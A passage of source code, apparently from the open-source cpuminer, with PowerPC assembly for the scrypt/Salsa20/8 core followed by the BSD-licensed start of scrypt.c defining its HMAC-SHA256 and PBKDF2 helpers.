vsldoi v2, v0, v1, 4 335 | vsldoi v3, v2, v0, 8 336 | vor v3, v3, v2 337 | vsldoi v1, v0, v1, 8 338 | 339 | vor v4, v8, v8 340 | vsel v8, v8, v9, v3 341 | vsel v9, v9, v10, v3 342 | vsel v10, v10, v11, v3 343 | vsel v11, v11, v4, v3 344 | vor v4, v8, v8 345 | vor v5, v9, v9 346 | vsel v8, v8, v10, v1 347 | vsel v9, v11, v9, v1 348 | vsel v10, v10, v4, v1 349 | vsel v11, v5, v11, v1 350 | 351 | vor v4, v12, v12 352 | vsel v12, v12, v13, v3 353 | vsel v13, v13, v14, v3 354 | vsel v14, v14, v15, v3 355 | vsel v15, v15, v4, v3 356 | vor v4, v12, v12 357 | vor v5, v13, v13 358 | vsel v12, v12, v14, v1 359 | vsel v13, v15, v13, v1 360 | vsel v14, v14, v4, v1 361 | vsel v15, v5, v15, v1 362 | 363 | li r6, 1*16 364 | li r7, 2*16 365 | li r8, 3*16 366 | li r9, 4*16 367 | 368 | stvx v8, 0, r3 369 | stvx v9, r3, r6 370 | stvx v10, r3, r7 371 | stvx v11, r3, r8 372 | stvx v12, r3, r9 373 | stvx v13, r3, r10 374 | stvx v14, r3, r11 375 | stvx v15, r3, r12 376 | 377 | ld r0, 2*4(r1) 378 | mtspr 256, r0 379 | addi r1, r1, 4*4 380 | blr 381 | 382 | #else /* __ALTIVEC__ */ 383 | 384 | .macro salsa8_core_doubleround 385 | add r0, r16, r28 386 | add r5, r21, r17 387 | add r6, r26, r22 388 | add r7, r31, r27 389 | rotlwi r0, r0, 7 390 | rotlwi r5, r5, 7 391 | rotlwi r6, r6, 7 392 | rotlwi r7, r7, 7 393 | xor r20, r20, r0 394 | xor r25, r25, r5 395 | xor r30, r30, r6 396 | xor r19, r19, r7 397 | 398 | add r0, r20, r16 399 | add r5, r25, r21 400 | add r6, r30, r26 401 | add r7, r19, r31 402 | rotlwi r0, r0, 9 403 | rotlwi r5, r5, 9 404 | rotlwi r6, r6, 9 405 | rotlwi r7, r7, 9 406 | xor r24, r24, r0 407 | xor r29, r29, r5 408 | xor r18, r18, r6 409 | xor r23, r23, r7 410 | 411 | add r0, r24, r20 412 | add r5, r29, r25 413 | add r6, r18, r30 414 | add r7, r23, r19 415 | rotlwi r0, r0, 13 416 | rotlwi r5, r5, 13 417 | rotlwi r6, r6, 13 418 | rotlwi r7, r7, 13 419 | xor r28, r28, r0 420 | xor r17, r17, r5 421 | xor r22, r22, r6 422 | xor r27, r27, r7 423 | 424 | add r0, r28, r24 425 | add r5, r17, r29 426 | add r6, r22, r18 427 | add r7, r27, r23 428 | rotlwi r0, r0, 18 429 | rotlwi r5, r5, 18 430 | rotlwi r6, r6, 18 431 | rotlwi r7, r7, 18 432 | xor r16, r16, r0 433 | xor r21, r21, r5 434 | xor r26, r26, r6 435 | xor r31, r31, r7 436 | 437 | add r0, r16, r19 438 | add r5, r21, r20 439 | add r6, r26, r25 440 | add r7, r31, r30 441 | rotlwi r0, r0, 7 442 | rotlwi r5, r5, 7 443 | rotlwi r6, r6, 7 444 | rotlwi r7, r7, 7 445 | xor r17, r17, r0 446 | xor r22, r22, r5 447 | xor r27, r27, r6 448 | xor r28, r28, r7 449 | 450 | add r0, r17, r16 451 | add r5, r22, r21 452 | add r6, r27, r26 453 | add r7, r28, r31 454 | rotlwi r0, r0, 9 455 | rotlwi r5, r5, 9 456 | rotlwi r6, r6, 9 457 | rotlwi r7, r7, 9 458 | xor r18, r18, r0 459 | xor r23, r23, r5 460 | xor r24, r24, r6 461 | xor r29, r29, r7 462 | 463 | add r0, r18, r17 464 | add r5, r23, r22 465 | add r6, r24, r27 466 | add r7, r29, r28 467 | rotlwi r0, r0, 13 468 | rotlwi r5, r5, 13 469 | rotlwi r6, r6, 13 470 | rotlwi r7, r7, 13 471 | xor r19, r19, r0 472 | xor r20, r20, r5 473 | xor r25, r25, r6 474 | xor r30, r30, r7 475 | 476 | add r0, r19, r18 477 | add r5, r20, r23 478 | add r6, r25, r24 479 | add r7, r30, r29 480 | rotlwi r0, r0, 18 481 | rotlwi r5, r5, 18 482 | rotlwi r6, r6, 18 483 | rotlwi r7, r7, 18 484 | xor r16, r16, r0 485 | xor r21, r21, r5 486 | xor r26, r26, r6 487 | xor r31, r31, r7 488 | .endm 489 | 490 | .macro salsa8_core 491 | salsa8_core_doubleround 492 | salsa8_core_doubleround 493 | salsa8_core_doubleround 494 | salsa8_core_doubleround 495 | .endm 496 | 497 | #ifdef _AIX 498 | .csect .text[PR] 499 | #else 500 | .text 501 | #endif 502 | .align 2 503 | .globl scrypt_core 504 | .globl _scrypt_core 505 | .globl .scrypt_core 506 | #ifdef __ELF__ 507 | .type scrypt_core, %function 508 | #endif 509 | scrypt_core: 510 | _scrypt_core: 511 | .scrypt_core: 512 | stdu r1, -68*4(r1) 513 | stw r5, 2*4(r1) 514 | std r13, 4*4(r1) 515 | std r14, 6*4(r1) 516 | std r15, 8*4(r1) 517 | std r16, 10*4(r1) 518 | std r17, 12*4(r1) 519 | std r18, 14*4(r1) 520 | std r19, 16*4(r1) 521 | std r20, 18*4(r1) 522 | std r21, 20*4(r1) 523 | std r3, 22*4(r1) 524 | std r22, 48*4(r1) 525 | std r23, 50*4(r1) 526 | std r24, 52*4(r1) 527 | std r25, 54*4(r1) 528 | std r26, 56*4(r1) 529 | std r27, 58*4(r1) 530 | std r28, 60*4(r1) 531 | std r29, 62*4(r1) 532 | std r30, 64*4(r1) 533 | std r31, 66*4(r1) 534 | 535 | lwz r16, 0*4(r3) 536 | lwz r17, 1*4(r3) 537 | lwz r18, 2*4(r3) 538 | lwz r19, 3*4(r3) 539 | lwz r20, 4*4(r3) 540 | lwz r21, 5*4(r3) 541 | lwz r22, 6*4(r3) 542 | lwz r23, 7*4(r3) 543 | stw r16, 24*4(r1) 544 | stw r17, 25*4(r1) 545 | stw r18, 26*4(r1) 546 | stw r19, 27*4(r1) 547 | stw r20, 28*4(r1) 548 | stw r21, 29*4(r1) 549 | stw r22, 30*4(r1) 550 | stw r23, 31*4(r1) 551 | lwz r24, 8*4(r3) 552 | lwz r25, 9*4(r3) 553 | lwz r26, 10*4(r3) 554 | lwz r27, 11*4(r3) 555 | lwz r28, 12*4(r3) 556 | lwz r29, 13*4(r3) 557 | lwz r30, 14*4(r3) 558 | lwz r31, 15*4(r3) 559 | stw r24, 32*4(r1) 560 | stw r25, 33*4(r1) 561 | stw r26, 34*4(r1) 562 | stw r27, 35*4(r1) 563 | stw r28, 36*4(r1) 564 | stw r29, 37*4(r1) 565 | stw r30, 38*4(r1) 566 | stw r31, 39*4(r1) 567 | lwz r16, 16*4(r3) 568 | lwz r17, 17*4(r3) 569 | lwz r18, 18*4(r3) 570 | lwz r19, 19*4(r3) 571 | lwz r20, 20*4(r3) 572 | lwz r21, 21*4(r3) 573 | lwz r22, 22*4(r3) 574 | lwz r23, 23*4(r3) 575 | stw r16, 40*4(r1) 576 | stw r17, 41*4(r1) 577 | stw r18, 42*4(r1) 578 | stw r19, 43*4(r1) 579 | stw r20, 44*4(r1) 580 | stw r21, 45*4(r1) 581 | stw r22, 46*4(r1) 582 | stw r23, 47*4(r1) 583 | lwz r8, 24*4(r3) 584 | lwz r9, 25*4(r3) 585 | lwz r10, 26*4(r3) 586 | lwz r11, 27*4(r3) 587 | lwz r12, 28*4(r3) 588 | lwz r13, 29*4(r3) 589 | lwz r14, 30*4(r3) 590 | lwz r15, 31*4(r3) 591 | 592 | mtctr r5 593 | scrypt_core_loop1: 594 | lwz r16, 24*4(r1) 595 | lwz r17, 25*4(r1) 596 | lwz r18, 26*4(r1) 597 | lwz r19, 27*4(r1) 598 | lwz r20, 28*4(r1) 599 | lwz r21, 29*4(r1) 600 | lwz r22, 30*4(r1) 601 | lwz r23, 31*4(r1) 602 | lwz r24, 32*4(r1) 603 | lwz r25, 33*4(r1) 604 | lwz r26, 34*4(r1) 605 | lwz r27, 35*4(r1) 606 | lwz r28, 36*4(r1) 607 | lwz r29, 37*4(r1) 608 | lwz r30, 38*4(r1) 609 | lwz r31, 39*4(r1) 610 | 611 | lwz r0, 40*4(r1) 612 | lwz r5, 41*4(r1) 613 | lwz r6, 42*4(r1) 614 | lwz r7, 43*4(r1) 615 | xor r16, r16, r0 616 | xor r17, r17, r5 617 | xor r18, r18, r6 618 | xor r19, r19, r7 619 | stw r16, 0*4(r4) 620 | stw r17, 1*4(r4) 621 | stw r18, 2*4(r4) 622 | stw r19, 3*4(r4) 623 | stw r0, 16*4(r4) 624 | stw r5, 17*4(r4) 625 | stw r6, 18*4(r4) 626 | stw r7, 19*4(r4) 627 | 628 | lwz r0, 44*4(r1) 629 | lwz r5, 45*4(r1) 630 | lwz r6, 46*4(r1) 631 | lwz r7, 47*4(r1) 632 | xor r20, r20, r0 633 | xor r21, r21, r5 634 | xor r22, r22, r6 635 | xor r23, r23, r7 636 | stw r0, 20*4(r4) 637 | stw r5, 21*4(r4) 638 | stw r6, 22*4(r4) 639 | stw r7, 23*4(r4) 640 | stw r20, 4*4(r4) 641 | stw r21, 5*4(r4) 642 | stw r22, 6*4(r4) 643 | stw r23, 7*4(r4) 644 | 645 | xor r24, r24, r8 646 | xor r25, r25, r9 647 | xor r26, r26, r10 648 | xor r27, r27, r11 649 | xor r28, r28, r12 650 | xor r29, r29, r13 651 | xor r30, r30, r14 652 | xor r31, r31, r15 653 | stw r24, 8*4(r4) 654 | stw r25, 9*4(r4) 655 | stw r26, 10*4(r4) 656 | stw r27, 11*4(r4) 657 | stw r28, 12*4(r4) 658 | stw r29, 13*4(r4) 659 | stw r30, 14*4(r4) 660 | stw r31, 15*4(r4) 661 | stw r8, 24*4(r4) 662 | stw r9, 25*4(r4) 663 | stw r10, 26*4(r4) 664 | stw r11, 27*4(r4) 665 | stw r12, 28*4(r4) 666 | stw r13, 29*4(r4) 667 | stw r14, 30*4(r4) 668 | stw r15, 31*4(r4) 669 | 670 | salsa8_core 671 | 672 | lwz r0, 0*4(r4) 673 | lwz r5, 1*4(r4) 674 | lwz r6, 2*4(r4) 675 | lwz r7, 3*4(r4) 676 | add r16, r16, r0 677 | add r17, r17, r5 678 | add r18, r18, r6 679 | add r19, r19, r7 680 | lwz r0, 4*4(r4) 681 | lwz r5, 5*4(r4) 682 | lwz r6, 6*4(r4) 683 | lwz r7, 7*4(r4) 684 | add r20, r20, r0 685 | add r21, r21, r5 686 | add r22, r22, r6 687 | add r23, r23, r7 688 | lwz r0, 8*4(r4) 689 | lwz r5, 9*4(r4) 690 | lwz r6, 10*4(r4) 691 | lwz r7, 11*4(r4) 692 | add r24, r24, r0 693 | add r25, r25, r5 694 | add r26, r26, r6 695 | add r27, r27, r7 696 | lwz r0, 12*4(r4) 697 | lwz r5, 13*4(r4) 698 | lwz r6, 14*4(r4) 699 | lwz r7, 15*4(r4) 700 | add r28, r28, r0 701 | add r29, r29, r5 702 | add r30, r30, r6 703 | add r31, r31, r7 704 | 705 | stw r16, 24*4(r1) 706 | stw r17, 25*4(r1) 707 | stw r18, 26*4(r1) 708 | stw r19, 27*4(r1) 709 | stw r20, 28*4(r1) 710 | stw r21, 29*4(r1) 711 | stw r22, 30*4(r1) 712 | stw r23, 31*4(r1) 713 | stw r24, 32*4(r1) 714 | stw r25, 33*4(r1) 715 | stw r26, 34*4(r1) 716 | stw r27, 35*4(r1) 717 | stw r28, 36*4(r1) 718 | stw r29, 37*4(r1) 719 | stw r30, 38*4(r1) 720 | stw r31, 39*4(r1) 721 | 722 | lwz r0, 40*4(r1) 723 | lwz r5, 41*4(r1) 724 | lwz r6, 42*4(r1) 725 | lwz r7, 43*4(r1) 726 | xor r16, r16, r0 727 | xor r17, r17, r5 728 | xor r18, r18, r6 729 | xor r19, r19, r7 730 | lwz r0, 44*4(r1) 731 | lwz r5, 45*4(r1) 732 | lwz r6, 46*4(r1) 733 | lwz r7, 47*4(r1) 734 | xor r20, r20, r0 735 | xor r21, r21, r5 736 | xor r22, r22, r6 737 | xor r23, r23, r7 738 | xor r24, r24, r8 739 | xor r25, r25, r9 740 | xor r26, r26, r10 741 | xor r27, r27, r11 742 | xor r28, r28, r12 743 | xor r29, r29, r13 744 | xor r30, r30, r14 745 | xor r31, r31, r15 746 | stw r16, 40*4(r1) 747 | stw r17, 41*4(r1) 748 | stw r18, 42*4(r1) 749 | stw r19, 43*4(r1) 750 | mr r8, r24 751 | mr r9, r25 752 | mr r10, r26 753 | mr r11, r27 754 | stw r20, 44*4(r1) 755 | stw r21, 45*4(r1) 756 | stw r22, 46*4(r1) 757 | stw r23, 47*4(r1) 758 | mr r12, r28 759 | mr r13, r29 760 | mr r14, r30 761 | mr r15, r31 762 | 763 | salsa8_core 764 | 765 | lwz r0, 40*4(r1) 766 | lwz r5, 41*4(r1) 767 | lwz r6, 42*4(r1) 768 | lwz r7, 43*4(r1) 769 | add r16, r16, r0 770 | add r17, r17, r5 771 | add r18, r18, r6 772 | add r19, r19, r7 773 | lwz r0, 44*4(r1) 774 | lwz r5, 45*4(r1) 775 | lwz r6, 46*4(r1) 776 | lwz r7, 47*4(r1) 777 | add r20, r20, r0 778 | add r21, r21, r5 779 | add r22, r22, r6 780 | add r23, r23, r7 781 | add r8, r8, r24 782 | add r9, r9, r25 783 | add r10, r10, r26 784 | add r11, r11, r27 785 | stw r16, 40*4(r1) 786 | stw r17, 41*4(r1) 787 | stw r18, 42*4(r1) 788 | stw r19, 43*4(r1) 789 | add r12, r12, r28 790 | add r13, r13, r29 791 | add r14, r14, r30 792 | add r15, r15, r31 793 | stw r20, 44*4(r1) 794 | stw r21, 45*4(r1) 795 | stw r22, 46*4(r1) 796 | stw r23, 47*4(r1) 797 | 798 | addi r4, r4, 32*4 799 | bdnz scrypt_core_loop1 800 | 801 | lwz r5, 2*4(r1) 802 | slwi r3, r5, 7 803 | subf r4, r3, r4 804 | mtctr r5 805 | addi r5, r5, -1 806 | stw r5, 2*4(r1) 807 | scrypt_core_loop2: 808 | and r3, r16, r5 809 | slwi r3, r3, 7 810 | add r3, r3, r4 811 | mr r0, r16 812 | mr r5, r17 813 | mr r6, r18 814 | mr r7, r19 815 | lwz r16, 24*4(r1) 816 | lwz r17, 25*4(r1) 817 | lwz r18, 26*4(r1) 818 | lwz r19, 27*4(r1) 819 | lwz r20, 28*4(r1) 820 | lwz r21, 29*4(r1) 821 | lwz r22, 30*4(r1) 822 | lwz r23, 31*4(r1) 823 | lwz r24, 32*4(r1) 824 | lwz r25, 33*4(r1) 825 | lwz r26, 34*4(r1) 826 | lwz r27, 35*4(r1) 827 | lwz r28, 36*4(r1) 828 | lwz r29, 37*4(r1) 829 | lwz r30, 38*4(r1) 830 | lwz r31, 39*4(r1) 831 | xor r16, r16, r0 832 | xor r17, r17, r5 833 | xor r18, r18, r6 834 | xor r19, r19, r7 835 | lwz r0, 44*4(r1) 836 | lwz r5, 45*4(r1) 837 | lwz r6, 46*4(r1) 838 | lwz r7, 47*4(r1) 839 | xor r20, r20, r0 840 | xor r21, r21, r5 841 | xor r22, r22, r6 842 | xor r23, r23, r7 843 | xor r24, r24, r8 844 | xor r25, r25, r9 845 | xor r26, r26, r10 846 | xor r27, r27, r11 847 | xor r28, r28, r12 848 | xor r29, r29, r13 849 | xor r30, r30, r14 850 | xor r31, r31, r15 851 | 852 | lwz r0, 0*4(r3) 853 | lwz r5, 1*4(r3) 854 | lwz r6, 2*4(r3) 855 | lwz r7, 3*4(r3) 856 | xor r16, r16, r0 857 | xor r17, r17, r5 858 | xor r18, r18, r6 859 | xor r19, r19, r7 860 | lwz r0, 4*4(r3) 861 | lwz r5, 5*4(r3) 862 | lwz r6, 6*4(r3) 863 | lwz r7, 7*4(r3) 864 | xor r20, r20, r0 865 | xor r21, r21, r5 866 | xor r22, r22, r6 867 | xor r23, r23, r7 868 | lwz r0, 8*4(r3) 869 | lwz r5, 9*4(r3) 870 | lwz r6, 10*4(r3) 871 | lwz r7, 11*4(r3) 872 | xor r24, r24, r0 873 | xor r25, r25, r5 874 | xor r26, r26, r6 875 | xor r27, r27, r7 876 | lwz r0, 12*4(r3) 877 | lwz r5, 13*4(r3) 878 | lwz r6, 14*4(r3) 879 | lwz r7, 15*4(r3) 880 | xor r28, r28, r0 881 | xor r29, r29, r5 882 | xor r30, r30, r6 883 | xor r31, r31, r7 884 | 885 | stw r16, 24*4(r1) 886 | stw r17, 25*4(r1) 887 | stw r18, 26*4(r1) 888 | stw r19, 27*4(r1) 889 | stw r20, 28*4(r1) 890 | stw r21, 29*4(r1) 891 | stw r22, 30*4(r1) 892 | stw r23, 31*4(r1) 893 | stw r24, 32*4(r1) 894 | stw r25, 33*4(r1) 895 | stw r26, 34*4(r1) 896 | stw r27, 35*4(r1) 897 | stw r28, 36*4(r1) 898 | stw r29, 37*4(r1) 899 | stw r30, 38*4(r1) 900 | stw r31, 39*4(r1) 901 | 902 | salsa8_core 903 | 904 | lwz r0, 24*4(r1) 905 | lwz r5, 25*4(r1) 906 | lwz r6, 26*4(r1) 907 | lwz r7, 27*4(r1) 908 | add r16, r16, r0 909 | add r17, r17, r5 910 | add r18, r18, r6 911 | add r19, r19, r7 912 | lwz r0, 28*4(r1) 913 | lwz r5, 29*4(r1) 914 | lwz r6, 30*4(r1) 915 | lwz r7, 31*4(r1) 916 | add r20, r20, r0 917 | add r21, r21, r5 918 | add r22, r22, r6 919 | add r23, r23, r7 920 | lwz r0, 32*4(r1) 921 | lwz r5, 33*4(r1) 922 | lwz r6, 34*4(r1) 923 | lwz r7, 35*4(r1) 924 | add r24, r24, r0 925 | add r25, r25, r5 926 | add r26, r26, r6 927 | add r27, r27, r7 928 | lwz r0, 36*4(r1) 929 | lwz r5, 37*4(r1) 930 | lwz r6, 38*4(r1) 931 | lwz r7, 39*4(r1) 932 | add r28, r28, r0 933 | add r29, r29, r5 934 | add r30, r30, r6 935 | add r31, r31, r7 936 | 937 | stw r16, 24*4(r1) 938 | stw r17, 25*4(r1) 939 | stw r18, 26*4(r1) 940 | stw r19, 27*4(r1) 941 | stw r20, 28*4(r1) 942 | stw r21, 29*4(r1) 943 | stw r22, 30*4(r1) 944 | stw r23, 31*4(r1) 945 | stw r24, 32*4(r1) 946 | stw r25, 33*4(r1) 947 | stw r26, 34*4(r1) 948 | stw r27, 35*4(r1) 949 | stw r28, 36*4(r1) 950 | stw r29, 37*4(r1) 951 | stw r30, 38*4(r1) 952 | stw r31, 39*4(r1) 953 | 954 | lwz r0, 16*4(r3) 955 | lwz r5, 17*4(r3) 956 | lwz r6, 18*4(r3) 957 | lwz r7, 19*4(r3) 958 | xor r16, r16, r0 959 | xor r17, r17, r5 960 | xor r18, r18, r6 961 | xor r19, r19, r7 962 | lwz r0, 20*4(r3) 963 | lwz r5, 21*4(r3) 964 | lwz r6, 22*4(r3) 965 | lwz r7, 23*4(r3) 966 | xor r20, r20, r0 967 | xor r21, r21, r5 968 | xor r22, r22, r6 969 | xor r23, r23, r7 970 | lwz r0, 24*4(r3) 971 | lwz r5, 25*4(r3) 972 | lwz r6, 26*4(r3) 973 | lwz r7, 27*4(r3) 974 | xor r24, r24, r0 975 | xor r25, r25, r5 976 | xor r26, r26, r6 977 | xor r27, r27, r7 978 | lwz r0, 28*4(r3) 979 | lwz r5, 29*4(r3) 980 | lwz r6, 30*4(r3) 981 | lwz r7, 31*4(r3) 982 | xor r28, r28, r0 983 | xor r29, r29, r5 984 | xor r30, r30, r6 985 | xor r31, r31, r7 986 | 987 | lwz r0, 40*4(r1) 988 | lwz r5, 41*4(r1) 989 | lwz r6, 42*4(r1) 990 | lwz r7, 43*4(r1) 991 | xor r16, r16, r0 992 | xor r17, r17, r5 993 | xor r18, r18, r6 994 | xor r19, r19, r7 995 | lwz r0, 44*4(r1) 996 | lwz r5, 45*4(r1) 997 | lwz r6, 46*4(r1) 998 | lwz r7, 47*4(r1) 999 | xor r20, r20, r0 1000 | xor r21, r21, r5 1001 | xor r22, r22, r6 1002 | xor r23, r23, r7 1003 | xor r24, r24, r8 1004 | xor r25, r25, r9 1005 | xor r26, r26, r10 1006 | xor r27, r27, r11 1007 | xor r28, r28, r12 1008 | xor r29, r29, r13 1009 | xor r30, r30, r14 1010 | xor r31, r31, r15 1011 | stw r16, 40*4(r1) 1012 | stw r17, 41*4(r1) 1013 | stw r18, 42*4(r1) 1014 | stw r19, 43*4(r1) 1015 | mr r8, r24 1016 | mr r9, r25 1017 | mr r10, r26 1018 | mr r11, r27 1019 | stw r20, 44*4(r1) 1020 | stw r21, 45*4(r1) 1021 | stw r22, 46*4(r1) 1022 | stw r23, 47*4(r1) 1023 | mr r12, r28 1024 | mr r13, r29 1025 | mr r14, r30 1026 | mr r15, r31 1027 | 1028 | salsa8_core 1029 | 1030 | lwz r0, 40*4(r1) 1031 | lwz r5, 41*4(r1) 1032 | lwz r6, 42*4(r1) 1033 | lwz r7, 43*4(r1) 1034 | add r16, r16, r0 1035 | add r17, r17, r5 1036 | add r18, r18, r6 1037 | add r19, r19, r7 1038 | lwz r0, 44*4(r1) 1039 | lwz r5, 45*4(r1) 1040 | lwz r6, 46*4(r1) 1041 | lwz r7, 47*4(r1) 1042 | add r20, r20, r0 1043 | add r21, r21, r5 1044 | add r22, r22, r6 1045 | add r23, r23, r7 1046 | lwz r5, 2*4(r1) 1047 | add r8, r8, r24 1048 | add r9, r9, r25 1049 | add r10, r10, r26 1050 | add r11, r11, r27 1051 | add r12, r12, r28 1052 | add r13, r13, r29 1053 | add r14, r14, r30 1054 | add r15, r15, r31 1055 | stw r16, 40*4(r1) 1056 | stw r17, 41*4(r1) 1057 | stw r18, 42*4(r1) 1058 | stw r19, 43*4(r1) 1059 | stw r20, 44*4(r1) 1060 | stw r21, 45*4(r1) 1061 | stw r22, 46*4(r1) 1062 | stw r23, 47*4(r1) 1063 | bdnz scrypt_core_loop2 1064 | 1065 | ld r3, 22*4(r1) 1066 | 1067 | lwz r16, 24*4(r1) 1068 | lwz r17, 25*4(r1) 1069 | lwz r18, 26*4(r1) 1070 | lwz r19, 27*4(r1) 1071 | lwz r20, 28*4(r1) 1072 | lwz r21, 29*4(r1) 1073 | lwz r22, 30*4(r1) 1074 | lwz r23, 31*4(r1) 1075 | stw r16, 0*4(r3) 1076 | stw r17, 1*4(r3) 1077 | stw r18, 2*4(r3) 1078 | stw r19, 3*4(r3) 1079 | stw r20, 4*4(r3) 1080 | stw r21, 5*4(r3) 1081 | stw r22, 6*4(r3) 1082 | stw r23, 7*4(r3) 1083 | lwz r24, 32*4(r1) 1084 | lwz r25, 33*4(r1) 1085 | lwz r26, 34*4(r1) 1086 | lwz r27, 35*4(r1) 1087 | lwz r28, 36*4(r1) 1088 | lwz r29, 37*4(r1) 1089 | lwz r30, 38*4(r1) 1090 | lwz r31, 39*4(r1) 1091 | stw r24, 8*4(r3) 1092 | stw r25, 9*4(r3) 1093 | stw r26, 10*4(r3) 1094 | stw r27, 11*4(r3) 1095 | stw r28, 12*4(r3) 1096 | stw r29, 13*4(r3) 1097 | stw r30, 14*4(r3) 1098 | stw r31, 15*4(r3) 1099 | lwz r16, 40*4(r1) 1100 | lwz r17, 41*4(r1) 1101 | lwz r18, 42*4(r1) 1102 | lwz r19, 43*4(r1) 1103 | lwz r20, 44*4(r1) 1104 | lwz r21, 45*4(r1) 1105 | lwz r22, 46*4(r1) 1106 | lwz r23, 47*4(r1) 1107 | stw r16, 16*4(r3) 1108 | stw r17, 17*4(r3) 1109 | stw r18, 18*4(r3) 1110 | stw r19, 19*4(r3) 1111 | stw r20, 20*4(r3) 1112 | stw r21, 21*4(r3) 1113 | stw r22, 22*4(r3) 1114 | stw r23, 23*4(r3) 1115 | stw r8, 24*4(r3) 1116 | stw r9, 25*4(r3) 1117 | stw r10, 26*4(r3) 1118 | stw r11, 27*4(r3) 1119 | stw r12, 28*4(r3) 1120 | stw r13, 29*4(r3) 1121 | stw r14, 30*4(r3) 1122 | stw r15, 31*4(r3) 1123 | 1124 | ld r13, 4*4(r1) 1125 | ld r14, 6*4(r1) 1126 | ld r15, 8*4(r1) 1127 | ld r16, 10*4(r1) 1128 | ld r17, 12*4(r1) 1129 | ld r18, 14*4(r1) 1130 | ld r19, 16*4(r1) 1131 | ld r20, 18*4(r1) 1132 | ld r21, 20*4(r1) 1133 | ld r22, 48*4(r1) 1134 | ld r23, 50*4(r1) 1135 | ld r24, 52*4(r1) 1136 | ld r25, 54*4(r1) 1137 | ld r26, 56*4(r1) 1138 | ld r27, 58*4(r1) 1139 | ld r28, 60*4(r1) 1140 | ld r29, 62*4(r1) 1141 | ld r30, 64*4(r1) 1142 | ld r31, 66*4(r1) 1143 | addi r1, r1, 68*4 1144 | blr 1145 | 1146 | #endif /* __ALTIVEC__ */ 1147 | 1148 | #endif 1149 | -------------------------------------------------------------------------------- /scripts/scrypt.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Colin Percival, 2011 ArtForz, 2011-2014 pooler 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 | * SUCH DAMAGE. 25 | * 26 | * This file was originally written by Colin Percival as part of the Tarsnap 27 | * online backup system. 28 | */ 29 | 30 | #include "cpuminer-config.h" 31 | #include "miner.h" 32 | 33 | #include 34 | #include 35 | #include 36 | 37 | static const uint32_t keypad[12] = { 38 | 0x80000000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00000280 39 | }; 40 | static const uint32_t innerpad[11] = { 41 | 0x80000000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x000004a0 42 | }; 43 | static const uint32_t outerpad[8] = { 44 | 0x80000000, 0, 0, 0, 0, 0, 0, 0x00000300 45 | }; 46 | static const uint32_t finalblk[16] = { 47 | 0x00000001, 0x80000000, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00000620 48 | }; 49 | 50 | static inline void HMAC_SHA256_80_init(const uint32_t *key, 51 | uint32_t *tstate, uint32_t *ostate) 52 | { 53 | uint32_t ihash[8]; 54 | uint32_t pad[16]; 55 | int i; 56 | 57 | /* tstate is assumed to contain the midstate of key */ 58 | memcpy(pad, key + 16, 16); 59 | memcpy(pad + 4, keypad, 48); 60 | sha256_transform(tstate, pad, 0); 61 | memcpy(ihash, tstate, 32); 62 | 63 | sha256_init(ostate); 64 | for (i = 0; i < 8; i++) 65 | pad[i] = ihash[i] ^ 0x5c5c5c5c; 66 | for (; i < 16; i++) 67 | pad[i] = 0x5c5c5c5c; 68 | sha256_transform(ostate, pad, 0); 69 | 70 | sha256_init(tstate); 71 | for (i = 0; i < 8; i++) 72 | pad[i] = ihash[i] ^ 0x36363636; 73 | for (; i < 16; i++) 74 | pad[i] = 0x36363636; 75 | sha256_transform(tstate, pad, 0); 76 | } 77 | 78 | static inline void PBKDF2_SHA256_80_128(const uint32_t *tstate, 79 | const uint32_t *ostate, const uint32_t *salt, uint32_t *output) 80 | { 81 | uint32_t istate[8], ostate2[8]; 82 | uint32_t ibuf[16], obuf[16]; 83 | int i, j; 84 | 85 | memcpy(istate, tstate, 32); 86 | sha256_transform(istate, salt, 0); 87 | 88 | memcpy(ibuf, salt + 16, 16); 89 | memcpy(ibuf + 5, innerpad, 44); 90 | memcpy(obuf + 8, outerpad, 32); 91 | 92 | for (i = 0; i < 4; i++) { 93 | memcpy(obuf, istate, 32); 94 | ibuf[4] = i + 1; 95 | sha256_transform(obuf, ibuf, 0); 96 | 97 | memcpy(ostate2, ostate, 32); 98 | sha256_transform(ostate2, obuf, 0); 99 | for (j = 0; j < 8; j++) 100 | output[8 * i + j] = swab32(ostate2[j]); 101 | } 102 | } 103 | 104 | static inline void PBKDF2_SHA256_128_32(uint32_t *tstate, uint32_t *ostate, 105 | const uint32_t *salt, uint32_t *output) 106 | { 107 | uint32_t buf[16]; 108 | int i; 109 | 110 | sha256_transform(tstate, salt, 1); 111 | sha256_transform(tstate, salt + 16, 1); 112 | sha256_transform(tstate, finalblk, 0); 113 | memcpy(buf, tstate, 32); 114 | memcpy(buf + 8, outerpad, 32); 115 | 116 | sha256_transform(ostate, buf, 0); 117 | for (i = 0; i < 8; i++) 118 | output[i] = swab32(ostate[i]); 119 | } 120 | 121 | 122 | #ifdef HAVE_SHA256_4WAY 123 | 124 | static const uint32_t keypad_4way[4 * 12] = { 125 | 0x80000000, 0x80000000, 0x80000000, 